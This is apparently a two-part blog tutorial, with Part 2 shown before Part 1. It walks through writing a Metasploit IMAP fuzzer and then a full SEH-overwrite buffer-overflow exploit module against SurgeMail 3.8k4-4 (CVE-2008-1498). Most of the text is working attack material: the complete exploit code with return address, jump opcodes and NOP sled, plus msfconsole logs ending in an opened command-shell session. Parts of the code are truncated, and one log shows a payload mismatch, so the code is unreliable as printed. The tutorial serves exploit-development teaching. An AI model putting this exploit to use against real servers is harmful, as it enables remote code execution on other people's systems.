		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"    # Point D


Don’t panic. I know we’ve done a lot here and there’s several new fancy things. We’ll dissect this step by step.

Notice that at Point A we’re no longer inheriting from Msf::Auxiliary. This is because we’re no longer working with an auxiliary module. Now that we’re developing the actual exploit, we inherit from Msf::Exploit::Remote instead.

You should already be familiar with the call to super() in the initialize() method which I explained in Part 1. However, this time we’ve added a whole new set of keys to that big, long hash.

The first new one that you’ll notice is 'References':

'References' =>
        [ 'BID', '28260' ],
        [ 'CVE', '2008-1498' ],
        [ 'URL', '' ]

This is merely an array of arrays, each index referencing some resource that describes the exploit. Here we included the BID, CVE, and EDB identifiers. These references will be displayed along with a few other bits of information when using the info command in msfconsole.

'Privileged' => false

The Privileged key is a boolean value that determines what type of privileges you’ll have once a remote shell has been spawned. Depending on the platform, setting it to true means that the shell will run as either the root, Administrator, or SYSTEM user. Here we set it to false which means the shell will spawn as an unprivileged user. Of course there are ways to escalate privileges once you have a remote shell; Privileged just specifies what it will start as.

'DefaultOptions' =>
        'EXITFUNC' => 'thread'

The DefaultOptions key is a hash that lets you override certain default values set by MSF. There are a whole set of valid keys that can be used but the most common one you’ll encounter is EXITFUNC. Here we have set it to ‘thread’. This is usually the case and, in fact, defaults to ‘thread’ anyway when not given explicitly. This indicates that the shellcode should be run in a sub-thread and exiting the thread will result in a clean, working system. The other two values this option can take on are ‘process’ and ‘seh’ but don’t concern yourself too much with this.

'Payload' =>
        'Space' => 10351,
        'DisableNops' => true,
        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"

The Payload key is a hash where we configure the payload. The Space key indicates the space available for the shellcode; in our case, 10351 bytes. This value is very important because it will determine what payloads can be used with our module. So why is this value not 10,360 like it was before? It’s to account for the two JMP instructions we’ll be adding later on. Their combined size is 9-bytes so the total space has been decreased accordingly: 10,360 – 9 = 10,351.

If you’re curious, you can view the size of a particular payload with the info command. However, the size displayed represents the unencoded payload. Encoding a payload increases its size so be careful. Do not underestimate the importance of this option.

The next key in Payload is DisableNops. Setting it to true prevents the shellcode from automatically being padded with NOP’s since we’ll be adding a NOP sled ourselves. When writing other modules, you can set it’s size with the NopSledSize key.

After that comes BadChars. This is where you specify the characters that, when parsed, will somehow disrupt the execution of the payload. These bad characters will ruin the exploit’s reliability. Any characters included here will be excluded from the shellcode and any other generated strings or NOP’s. Obviously, the NULL character (\x00) is one of these but where did the other bad characters come from? I cheated a little bit and looked at a few other IMAP exploits and included their BadChars.

'Platform' => 'win'

The Platform key should be pretty easy to figure out. It’s set to ‘win’ because our exploit is only for the Windows platform. Simple.

'Targets' =>
        [ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]

The Targets keys is another AoA that lets you further refine the list of vulnerable targets. Since the Surgemail exploit is not dependent on any particular version of Windows, we’ve set it to ‘Windows Universal’. If it was, this is where you’d specify the version and service pack of the vulnerable platform.

The second index is a hash where we’ve specified the return address in Ret. There are several other valid keys for this hash but don’t worry about them. There are two important things to understand here. Notice that we’ve taken endian-ness into account and written the return address backwards. This is because the Intel x86 architecture is little-endian. Also we’ve left off the leading \x00. This is because the OS would interpret this as a null byte and stop parsing the rest.

'DisclosureDate' => 'March 13 2008'

As you can guess, DiscloureDate is just a string that specifies the date the vulnerability was discovered. This is another one of the pieces of information displayed by the info command.

'DefaultTarget' => 0

Finally, the last key is DefaultTarget. This is an integer that specifies the index into the Targets array to use by default. Since we only have one, we’ve set it to 0.

Phew, that was a lot. Read over it again if you’re still a little confused.

Now let’s look at that fancy new exploit() method.

At Point B, we set up the first part of the buffer with 10,360 A’s. At Point C, we pack the return address into a binary representation and tack it on. At Point D, we stick the buffer into our malicious request and send it to the server. If you’re wondering, sock is an Rex::Socket::Tcp object that was so kindly given to us by Msf::Exploit::Remote::Imap.

We’re almost there. Before running the module, I want to show off another neat feature of MSF. Since we’re going to be running and closing and running and closing msfconsole over and over again, we can make our lives just a little easier by using what Metasploit calls a “resource file.” Think of it as a batch script for automating commonly used msfconsole commands.

Save the following file to ~/surgemail_overflow_config.rc:

use exploit/windows/imap/surgemail_overflow
set IMAPPASS abc123
set IMAPUSER foobar

Obviously, you would include whatever values are appropriate for your configuration. When you pass this file to the -r switch of msfconsole, it will automatically run those commands in sequence. Handy, right?

It gets even better. You can also include Ruby code inside a resource file; effectively turning resource files into a complete automation platform. Personally, I haven’t used it myself just yet but it’s not hard to imagine all the fun things that can be done with it.

Enough talk; time to run this thing. Instead of using a payload that launches a remote shell, we’re going to use generic/debug_trap first. This sends a series of \xCC's which is the opcode for a breakpoint. This will allow us to determine whether everything is working fine and the shellcode is in the right place by debugging at the point of the overflow.

root@bt:~# msfconsole -q -r surgemail_overflow_config.rc
[*] Processing surgemail_overflow_config.rc for ERB directives.
resource (surgemail_overflow_config.rc) use exploit/windows/imap/surgemail_overflow
resource (surgemail_overflow_config.rc) set IMAPPASS abc123
IMAPPASS => abc123
resource (surgemail_overflow_config.rc) set IMAPUSER foobar
IMAPUSER => foobar
resource (surgemail_overflow_config.rc) set RHOST
msf exploit(surgemail_overflow) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug_trap
msf exploit(surgemail_overflow) > exploit

[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) >

See? No shell. Go back to Immunity Debugger and you should notice a message in the lower status bar: “Access violation when reading [41414191] – use Shift+F7/F8/F9 to pass exception to program”. Don’t do it just yet. First, navigate to View → SEH Chain once again. Right-click the current handler and select “Toggle breakpoint on handler” to set a breakpoint. Now you can press Shift+F9 to pass the exception to the program.

SEH Overflow Breakpoint

Breakpoint set at 0x006b413a.

Look at the status bar again: “Breakpoint at surgemai.006B413A”. Does that number look familiar? It should because that’s the return address we set in Ret.

Now go back to the module and modify the evil string to include the instruction for the short jump backward:

lead = "\x41" * 10356
nseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")

Notice that lead has been decreased by four bytes. This is to compensate for the space added by the short jump instruction in nseh: 10360 – 4 = 10356. This is important; without it, the alignment would be incorrect. This new addition will overwrite the NextSEH field with instructions to perform a short jump backward by five bytes.

Where did that random string of hex digits come from? Sure, I’ve told you it’s a short jump but you probably want to see for yourself, right?. Look:

root@bt:~# echo -ne "\xeb\xf9\x90\x90" | ndisasm -u -
00000000 EBF9 jmp short 0xfffffffb
00000002 90 nop
00000003 90 nop

By the way, 0xfffffffb is the two’s complement representation of 5. That way there are no null bytes in the instruction.

SEH Overflow Breakpoint With Short Jump

Short jump instruction overwriting the SEHandler field.

Now it’s time to add the final piece: the near jump further back into the shellcode. If you look at the above screenshot, you’ll see the large buffer of A’s. This is where the shellcode will be written. Therefore, we have over 10,000 bytes of space for the shellcode. This is plenty of room considering the average space needed is less than 500 bytes.

Edit the module again and modify it like so:

lead = "\x90" * (10351 – payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

In the lead variable, we’ve replaced the initial string of A’s with a NOP sled. When calculating it’s length, notice that the total buffer size has been decreased again by five bytes from 10,356 to 10,351. This is because of the near jump instruction in the near variable.

root@bt:~# echo -ne "\xe9\xdd\xd7\xff\xff" | ndisasm -u -
00000000 E9DDD7FFFF jmp dword 0xffffd7e2

The nseh variable remains the same but evil has been modified to include a couple new things. Now it consists of the NOP sled at the beginning, followed by the encoded payload, the near jump, the short jump (overwriting NextSEH), and finally the return address of the POP-POP-RETURN sequence (overwriting SEHandler). This is exactly as we discussed earlier (see the diagram).

No more modifications. Now we can use a real payload that results in a remote shell.

msf exploit(surgemail_overflow) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(surgemail_overflow) > exploit

[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) >

Back in Immunity Debugger, the access violation should look something like this:

SEH Overflow Access Violation

Access violation after sending windows/shell/bind_tcp payload.

Perfect! Notice that “Pointer to next SEH record” contains 9090F9EB – the short jump – and “SE handler” contains 006EF690 – the address of the POP-POP-RETURN sequence.

Take a look at the SEH chain:

SEH Overflow Overwritten SEH Record

SEH record overwritten.

Press F2 to set a breakpoint at the handler and the Shift+F9 to pass the exception to the program. After that, execution should jump right to the POP-POP-RETURN sequence.

SEH Overflow Execution at POP-POP-RETURN

After continuing, execution jumps to the POP-POP-RETURN sequence.

Step through each of these instructions by pressing F7 three times. POP. POP. RETURN. Yay!

As expected at this point, execution will now pass to the next exception handler which we’ve overwritten with the short jump. Step once with F7 to jump back to the near jump:

SEH Overflow Execution at JMP Instructions

Stepping to the next two JMP instructions.

Can you guess what will happen if we step one more time? I’ll give you a hint in the form of a multiple choice question:

A. Not the answer
B. Not the answer
C. Jump back to somewhere in the NOP sled
D. Not the answer

That’s right, C. Stepping one more time jumps back to some arbitrary location within the NOP sled. Don’t bother stepping through it; it’ll take you a good 9,000+ times.

SEH Overflow Execution at the NOP Sled

Execution at the huge NOP sled.

Well, wait a second…if everything worked as expected, why didn’t we get a remote shell? Bad characters. Dealing with bad characters is, without a doubt, the single most frustrating part of exploit development. Even though we declared everything in the BadChars key, I happen to know for a fact that there are a few more we forgot. However, rather than going through the grueling process of finding every single bad character, I’m fine with just running the exploit a couple times until it succeeds. I’m lazy like that. :P

msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Command shell session 1 opened ( ->

(C) Copyright 1985-2001 Microsoft Corp.


Success! Finally!

Even though we’re technically done, any half-way decent Metasploit module will include a check command to verify that the target system is vulnerable. In most cases, this is usually just a simple banner grabber.

def check

    if (banner and banner =~ /(Version 3.8k4-4)/)
        return Exploit::CheckCode::Vulnerable

    return Exploit::CheckCode::Safe

Simple. All we did was connect, immediately disconnect, and then check the captured banner stored in the banner variable. The banner for vulnerable systems will contain the string “Version 3.8k4-4″.

After reloading the module, running the check command will look like this:

msf exploit(surgemail_overflow) > check

[*] Connecting to IMAP server
[*] Connected to target IMAP server.
[+] The target is vulnerable.

If you ever plan on publicly releasing your module, always make sure you provide a check command. After all, what good is it if you can’t even check if the target machine is vulnerable or not?

After all that nonsense, the final code should look like this:

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', '' ]
			'Privileged'     => false,
			'DefaultOptions' =>
					'EXITFUNC' => 'thread'
			'Payload'        =>
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
			'Platform'       => 'win',
			'Targets'        =>
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))

        def check

            if (banner and banner =~ /(Version 3.8k4-4)/)
                return Exploit::CheckCode::Vulnerable

            return Exploit::CheckCode::Safe

	def exploit
		connected = connect_login

                lead = "\x90" * (10351 – payload.encoded.length)
                near = "\xe9\xdd\xd7\xff\xff"
                nseh = "\xeb\xf9\x90\x90"
                evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"


And there you have it! I hope I’ve done a decent job of showcasing the Metasploit Framework. It’s quite easy to see just how powerful it truly is. Whether you’re an attacker, exploit writer, or payload writer, MSF’s modular design makes all of these tasks a whole lot easier.

How to Write a Metasploit Module – Part 1

For the past month or so, when I’m not up to my eyeballs in Calculus II homework, I’ve been hanging around the Metasploit community looking for bugs and other small areas that could use some minor work. I quickly realized that even though I had been using Metasploit for years, I had never actually written my own module. For that matter, I’ve never even explored anything outside of msfconsole. I was ashamed.

It did not take me very long to see just how revolutionary the Metasploit Framework (MSF) truly is. There isn’t a single other piece of software out there that even comes close to doing what MSF does. Well, w3af is a similar auditing framework for web apps but I still think MSF is far superior.

There is a surprisingly little amount of articles on how to write a Metasploit module. The ones I’ve been able to find are rather poor anyway. Fortunately, there is an entire chapter dedicated to creating your own modules in Metasploit: The Penetration Tester’s Guide. This incredible book explains how to write a simple Internet Message Access Protocol (IMAP) fuzzer. However, it too is a little lacking so I’m going to make it how it should have been done: my way. :P

Writing a Metasploit module is really fun and really easy. If you have a general idea of want you want to do, did your research on how a particular exploit is carried out, and possess at least some experience with Ruby, you’ll find using MSF to be quite enjoyable. (As a side note, I highly recommend reading The Pickaxe Book. It is, without a doubt, the definitive reference to Ruby.)

We’re going to walk through the steps of exploiting a known vulnerability in the LIST command of NetWin’s SurgeMail IMAP server. This exploit was discovered by Matteo Memelli (ryujin) of the Team. It allows authenticated users to trigger a buffer overflow, ending in arbitrary code execution. However, rather then just showing you how to write the module for delivering the actual shellcode, I’m going to walk through the steps of first writing a fuzzer to see where an overflow exists. Then in Part 2, I’ll explain how to extend this module to bypass SEH in order to achieve code execution.

This exploit only exists on SurgeMail 3.8k4-4 and has been fixed in recent versions. You can download a copy of 3.8k4-4 for Windows here. If you aren’t comfortable using the direct link because you don’t trust me (standard security policy demands that you shouldn’t), the directory tree can be found here.

All user-defined modules should live in the ~/.msf4/modules/ directory. Therefore, start off by opening up your favorite text editor (mine is vim) and save the following code to ~/.msf4/modules/auxiliary/fuzzers/imap_fuzzer.rb.

require 'msf/core'    # POINT A

class Metasploit4 < Msf::Auxiliary        # POINT B
    include Msf::Exploit::Remote::Imap    # POINT C
    include Msf::Auxiliary::Dos           # POINT D

    def initialize    # POINT E
            'Name'        => 'Simple IMAP Fuzzer',
            'Description' => %q{
                                An example of how to build a simple IMAP
                                fuzzer. Account IMAP credentials are
                                required in this fuzzer.
            'Author'      => [ 'ryujin' ],
            'License'     => MSF_LICENSE,
            'Version'     => '$ Revision: 1 $'

    def fuzz_str
        return Rex::Text.rand_text_alphanumeric(rand(1024))    # POINT F

    def run    # POINT G

        while (true)
            connected = connect_login()    # POINT H

            if not connected
                print_status('Host is not responding - this is G00D ;)')

            print_status('Generating fuzzed data...')
            fuzzed = fuzz_str()    # POINT I

                "Sending fuzzed data, buffer length = %d" % fuzzed.length

            req  = '0002 LIST () "/'
            req += fuzzed + '" "PWNED"' + "\r\n"    # POINT J


            res = raw_send_recv(req)    # POINT K

            if !res.nil?
                print_status('Server crashed, no response')

            disconnect()    # POINT L

Point A tells us that we are going to include all the functionality from the core library. MSF has a modular structure and is broken down into several pieces: the framework core, base, and ui. A full discussion of the MSF architecture is outside the scope of this tutorial but for now, know that the framework’s core library is the low-level interface that provides the required functionality for interacting with exploit modules, sessions, plugins, etc. This line alone gives us access to some 6,000+ different functions. If you’re interested in the full design of the framework, checkout the Metasploit Developer’s Guide.

At Point B, we begin defining the class and inherit from Msf::Auxiliary. Metasploit auxiliary modules are special in that they aren’t necessarily exploits that feature a payload. Instead, they can be considered as reconnaissance tools. This includes tools like port scanners, fuzzers, service fingerprinters, enumeration, information gathering, etc.

Points C and D are particularly important. This is where the modules for the IMAP protocol and denial-of-service are mixed in. If you aren’t familiar with the term, mixins are synonymous with abstract base classes. They’re meant to promote code reuse while avoiding the flagrant burdens of multiple inheritance. Put simply, this means we’re given several more functions just for denial-of-service attacks and the IMAP protocol.

In Ruby, the constructor is defined with the initialize() method which is at Point E. When using MSF, the constructor is typically going to consist of a call to the superclass’s constructor and passing it a hash where you setup various information and settings for your module (passing a hash as an argument is how Ruby fakes named parameters). As you can see, here we setup the name, description, version, author, and license. The constructor is also the place where you’d configure any extra variables with register_options(). However, this is just a simple fuzzer so we’re going to settle for the default variables we get from our mixins: IMAPPASS, IMAPUSER, RHOST, and RPORT.

At Point F in the fuzz_str() method, we use Rex to setup the malformed data we’re going to send. At the most, it’s going to be a 1024 byte string of randomized alphanumeric characters. What’s Rex you ask? Oh, you didn’t ask? You sure? Must have been one of my cats; they’re hackers too. Well, since they want to know, I’ll enlighten you as well. The Ruby Extension Library (Rex) is one of the most essential pieces of the Metasploit Framework. Think of it as Metasploit’s own Ruby API. Rex provides an assortment of classes for tasks such as generating assembly instructions, buffer encoding, basic logging, breaking down tasks into separate jobs, etc. Again, the Metasploit Developer’s Guide explains Rex in further detail.

At Point G, we override the run() method. When the user executes the run command from msfconsole, this method will be called. If this were an actual exploit and not an auxiliary module, we would instead override the exploit() method to be used as the exploit command.

Inside the while loop at Point H, we connect to and authenticate with the IMAP server by calling the connect_login() method. Perhaps you are thinking, “Hold on just a second! Where did connect_login() come from? How does it know what server to connect to? Not only that, but what credentials is it authenticating with? What the heck?” Here’s what the heck: remember the modules we mixed in? The connect_login() method came free of charge from Msf::Exploit::Remote::Imap. Also, remember before when I said that the modules we mixed in provide a set of default variables? The connect_login() method is going to use RHOST and RPORT (default 143) to determine what host and port to connect to. Then it’s going to use the values of IMAPPASS and IMAPUSER to perform the authentication. Tada! Yay for mixins! If the connection fails, the loop will break. Then we’ll know we have something to look into (I already know there is but try to act surprised).

At Point I, we generate the random string. Then at Point J, we setup the malformed LIST command. At Point K, we finally send our malformed data to the server with raw_send_recv() which was so kindling given to us by Msf::Exploit::Remote::Imap. Again, if we don’t receive a response, the loop breaks indicating that the server has crashed.

If after all that, everything is fine and we do receive a response, we disconnect from the server at Point L and repeat the process all over again. This fuzzer will continue to run and run until the end of time (or until your laptop battery dies) unless the server finally crashes.

Before we can begin fuzzing, we need to set up a debugger that’s attached to the surgemail.exe process on the target machine. If you’re more comfortable with WinDbg, that’s fine; but for this tutorial, I’m going to use Immunity Debugger. Immunity Debugger is very powerful because it’s specifically designed for exploit development and reverse engineering. It’s definitely worth checking out. Since SurgeMail is a system service, run Immunity Debugger as the Administrator, press Ctrl+F1, select surgemail from the list in the new window, and click Attach. Done. Now we’re ready.

Let’s run this bad boy already. Start up msfconsole, wait forever for it to load, and setup our little fuzzer like this:

msf > use auxiliary/fuzzers/imap_fuzzer
msf auxiliary(imap_fuzzer) > set IMAPPASS abc123
IMAPPASS => abc123
msf auxiliary(imap_fuzzer) > set IMAPUSER foobar
IMAPUSER => foobar
msf auxiliary(imap_fuzzer) > set RHOST
msf auxiliary(imap_fuzzer) > show options

Module options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   IMAPPASS  abc123           no        The password for specified username
   IMAPUSER  foobar           no        The username to authenticate as
   RHOST     yes       The target address
   RPORT     143              yes       The target port

msf auxiliary(imap_fuzzer) >

Now everything’s setup and we can start fuzzing with the run command. As I mentioned earlier, this is going to call the run() method from our module.

msf auxiliary(imap_fuzzer) > run
[*] Authenticating as foobar with password abc123...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 228
[*] 0002 LIST () "/Wp35rRUwgwHs9XnNYJ7TE4dwF6MpWly5hoscHwTigksqYYGS5Urnn4U
     3Cr1S2HxE6Vjcglv4f4sVb5ZwLvwkyR12OI" "PWNED"

[*] 0002 OK LIST completed


[*] Authenticating as foobar with password abc123...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () "/FzwJjIcL16vW4PXDPpJbpsHB4p7Xts9fbaJYjRJASXRqbZnOMzprZfV
     Nhlhl3UCVZpf8Gck0psjETf4ks356q0I3mLZkqCLkznVV4ayetVgaDm" "PWNED"
[*] Server crashed, no response
[*] Auxiliary module execution completed
msf auxiliary(imap_fuzzer) >

Cool, right? First, it connects to the target machine and logs in with the given credentials, then it sends the malformed request. Since the server did respond after the first attempt, we repeat the process again and again until finally it says Server crashed, no response. The server goes down in less than ten seconds. Now we can check out what the debugger reported.

Back on the target machine, the debugger indicates that there was an access violation. We can tell that it crashed because of us and not something else since the value of LastErr is ERROR_FILE_NOT_FOUND.

Immunity Debugger

The debugger is paused at the point of crash

You’ll notice that, unfortunately, no memory addresses were overwritten. Nothing exploitable here. Looks like we failed again. Guess it’s time to find a new hobby. Maybe sports or something. Hey wait, I’m having one of those things. You know, a headache with pictures. Hmm…Futurama rules…sports suck…and maybe we should try increasing the length of the fuzz string. 11,000 bytes sounds about right.

Instead of using fuzz_str() to generate a random string, let’s just send a sequence of 11,000 A’s.

fuzzed = 'A' * 11000
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

By increasing the string length, this will allow our fuzzer to overwrite the Structured Exception Handler (SEH) for the surgemail.exe process. SEH is the native exception handling mechanism for Windows. It can be quite a lengthy subject so if you’re curious, check out Matt Pietrek’s notable article on SEH here. For now, know that being able to control SEH makes an exploit much more portentous.

However, overwriting SEH is a subject for another day. For now, let all of this sink in. In my next post, we’re going to expand upon our fuzzer and turn it from an auxiliary module to an exploit module.